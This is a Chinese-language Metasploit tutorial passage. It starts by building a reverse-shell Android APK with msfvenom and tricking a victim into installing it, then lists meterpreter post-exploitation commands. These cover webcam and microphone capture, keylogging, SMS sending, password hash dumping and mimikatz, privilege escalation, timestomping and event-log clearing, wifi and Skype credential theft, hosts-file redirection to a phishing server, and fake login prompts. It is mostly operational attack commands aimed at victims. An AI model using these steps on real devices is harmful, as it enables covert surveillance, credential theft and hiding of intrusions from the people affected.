渗透Android系统
基本和上面一样,创建一个android的apk文件
// 使用msfvenom创建android的apk文件
root@kali:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=129.0.0.1 LPORT=801 R> /var/xxxx/downloads/xxoo.apk
接下来一样,欺骗受害者去安装该软件,然后
msf> use exploit/mutil/handler
msf exploit(handler)> set payload android/meterpreter/reverse_tcp
msf exploit(handler)> set LPORT 801
msf exploit(handler)> set LHOST 129.0.0.1
msf explosit(handler)> exploit // 执行攻击
Meterpreter> // 此时我们已经取得了目标系统的Meterpreter权限。然后自由发挥了,例如
Meterpreter> check_root // 查看目标机是否已经root
Meterpreter> send_sms -d 168xxx000xxx -t "hello" // 给指定号码发送短信
Meterpreter> wlan_geolocate // 获取该手机卫星定位位置
Meterpreter> webcam_snap // 使用被渗透手机进行拍照
基本后渗透命令
我们前面主要记录的是如何进行EXP渗透,渗透成功后的功能虽有说明,却不多,接下来从最基本的命令记录后渗透命令。
// 帮助命令
meterpreter> ?
// 转到后台命令(转到后台后,我们就可以执行其他的任务)
meterpreter> background
[*] Backgrounding session 1111...
// 记住上面的session,我们可以将其呼出到前台
meterpreter> sessions -i 1111
// 如果记不住session ID,可以如下获取当前的所有session列表
meterpreter> sessions -i
// 获取机器的ID和UUID
meterpreter> machine_id
meterpreter> uuid
// 获取通信通道(列出全部通信通道)
meterpreter> channel -l
// 使用指定通信通道
meterpreter> channel -r 1111
// 获取当前用户名和挂接的进程名
meterpreter> getuid
meterpreter> getpid
// 获取PID后,再通过PS去获取当前进程信息
meterpreter> ps
// 获取系统信息
meterpreter> sysinfo
// 获取网络信息
meterpreter> ipconfig 或 ifconfig
meterpreter> arp // 查看受害机相连接的IP,可以查看局域网IP信息
meterpreter> netstat // 查看当前用过的端口
// 查看当前工作目录
meterpreter> pwd
// 从本地向受害机传输文件
meterpreter> upload /local/1.txt C:\
// 修改查看受害机文件
meterpreter> edit c:\\1.txt
meterpreter> cat c:\\1.txt
// 枚举所有可用桌面以及桌面信息
meterpreter> enumdesktops
meterpreter> getdesktop
// 截屏
meterpreter> screenshot
meterpreter> webcam_snap
// 查看摄像头并录制视频
meterpreter> webcam_list
meterpreter> webcam_stream
// 监听麦克风
meterpreter> record_mic -d 1111 // 后面参数是录制的秒数
// 监听键盘
meterpreter> keyscan_start // 开始录制键盘信息
meterpreter> keyscan_dump // 输出刚才按下的键盘信息
// 计算用户闲置时间(用来推测用户不怎么使用计算机的时间)
meterpreter> idletime
高级后渗透命令
安全迁移
一般来说,meterpreter会话是从一个临时文件payload进去的。只要这个临时进程被关闭,meterpreter将会被踢出。所以我们最好将meterpreter迁移到更安全的进程上,例如svchost.exe, explorer.exe之类。
// 首先PS查看进程PID
meterpreter> ps
[*] 1866 explorer.exe x64 2 User c:\windows\explorer.exe
// 然后进行迁移
meterpreter> migrate 1866
meterpreter> getpid
// 就会发现当前meterpreter所在PID已经转移。
获取系统管理员权限
如果被渗透的应用程序是用管理员权限运行的,那么getsystem即可。
meterpreter> getsystem
获取了管理员权限后,可以简单的hashdump去获取被害机的登录用户密码hash值
meterpreter> run hashdump
获取密码hash值之后,我们可以对目标发起pass-the-hash攻击。
部分情况下,我们并没有最高权限,此时就需要进一步渗透提权。
// 该漏洞是针对 windows server 2008 sp1的
msf> use exploit/windows/local/ms10_015_kitrap0d
msf exploit(ms10_015_kitrap0d)> show options
msf exploit(ms10_015_kitrap0d)> set session 1111 // 使用刚才的meterpreter
msf exploit(ms10_015_kitrap0d)> exploit
meterpreter> getuid // 检查自己的账号
修改文件时间
为了隐藏自身,我们可能需要修改文件的创建时间,修改时间,访问时间。
meterpreter> timestomp -v 1.txt
meterpreter> timestomp -z "11/26/2019 15:12:54" 1.txt
清除系统记录
这个命令可以清除windows系统下的 Application, System, Security日志。
meterpreter> clearev
查看目标机环境的事件日志
meterpreter> run event_manager -i
其他后渗透模块
获取受害机附近的无线SSID信息
meterpreter> run post/windows/wlan/wlan_bss_list
收集受害机记录的无线密码
meterpreter> run post/windows/wlan/wlan_profile
在收集的数据中,
收集受害机上软件列表
meterpreter> run get_application_list
获取skype密码
meterpreter> run post/windows/gather/credentials/skype
获取USB使用记录
meterpreter> run post/windows/gether/usb_history
目标机上文件查找
meterpreter> search -f *.avi
使用 mimikatz 查找明文密码
// 加载minikatz插件
meterpreter> load mimikatz
// 使用下面的命令获取windows中活跃的账号和明文密码
meterpreter> kerberos
进行流量探嗅
// 探嗅当前的网络接口,得到网络接口设备列表
meterpreter> sniffer_interfaces
[*] 1 - VMWare Virtual Ethernet Adapter for WMNet8
[*] 2 - Realtek RTL8723BE Wireless LAN 802.11n PCI-E NIC
....
// 指定接口进行探嗅(探嗅端口为2号,探嗅数据缓冲为1000)
meterpreter> sniffer_start 2 1000
// 将探嗅的数据输出出来
meterpreter> sniffer_dump 2 test.pcap
// 最后将探嗅的数据用wireshark查看即可
meterpreter> wireshard test.pcap
修改目标机Host文件
msf> use post/windows/manager/inject_host
msf post(inject_host)> show options
msf post(inject_host)> show DOMAIN www.baidu.com
msf post(inject_host)> set IP 192.1.1.1
msf post(inject_host)> set SESSION 1
msf post(inject_host)> exploit
目标机再访问baidu.com即可进入我们的恶意服务器(可以是个钓鱼站)
弹出钓鱼面板
meterpreter> run post/windows/gether/phish_login_pass
// 此时在受害机会弹出一个类似windows登录界面的一个弹出框
// 等用户中计,输入“账号密码”后执行下命令将得到账户密码
meterpreter> run post/windows/gether/phish_windows_credentials
[*] userWinName hisPassword
其他便利渗透的技巧
图形化工具Armitage
Armitage是Metasploit的界面化工具,它用java创建,可以跨平台。
它本身支持一种叫 Cortana 的脚本语言,它记录脚本的每一个操作,可以保存为 .cna 后缀格式。
重加载以便开发测试
我们在开发exp模块时,可能需要对payload等不停的修改。每次修改后,都需要metasploit重新更新,此时推荐命令为
// 修改文件
msf exploit(my_test)> edit
// 这样会启动VIM进行文件编辑
...
// 修改完成,通知reload
msf exploit(my_test)> reload
这样就不用重新启动metasploit了。
常用操作的脚本化
例如我们经常进行如下操作:
msf> use exploit/mutil/handler
msf exploit(handler)> set payload android/meterpreter/reverse_tcp
msf exploit(handler)> set LPORT 801
msf exploit(handler)> set LHOST 129.0.0.1
msf explosit(handler)> exploit // 执行攻击
那么我们可以在上述操作完之后,将其打包为脚本
msf explosit(handler)> makerc RCName
之后再使用时,直接调用即可
msf> resource RCName
这样就等同于之前了之前五步的全部操作。
对于后渗透测试部分,也有 AutoRunScript 这样的选项来一次性批量完成渗透和后渗透操作。
全局变量
metesploit中可以使用 setg 这种命令来对 RHOST LHOST LPORT 等参数做全局设置,就免去了逐个设置的麻烦。
使用社会工程学工具包
使用 社会工程学工具包(Social engineering tookit, SET)可以快速建立渗透攻击载荷。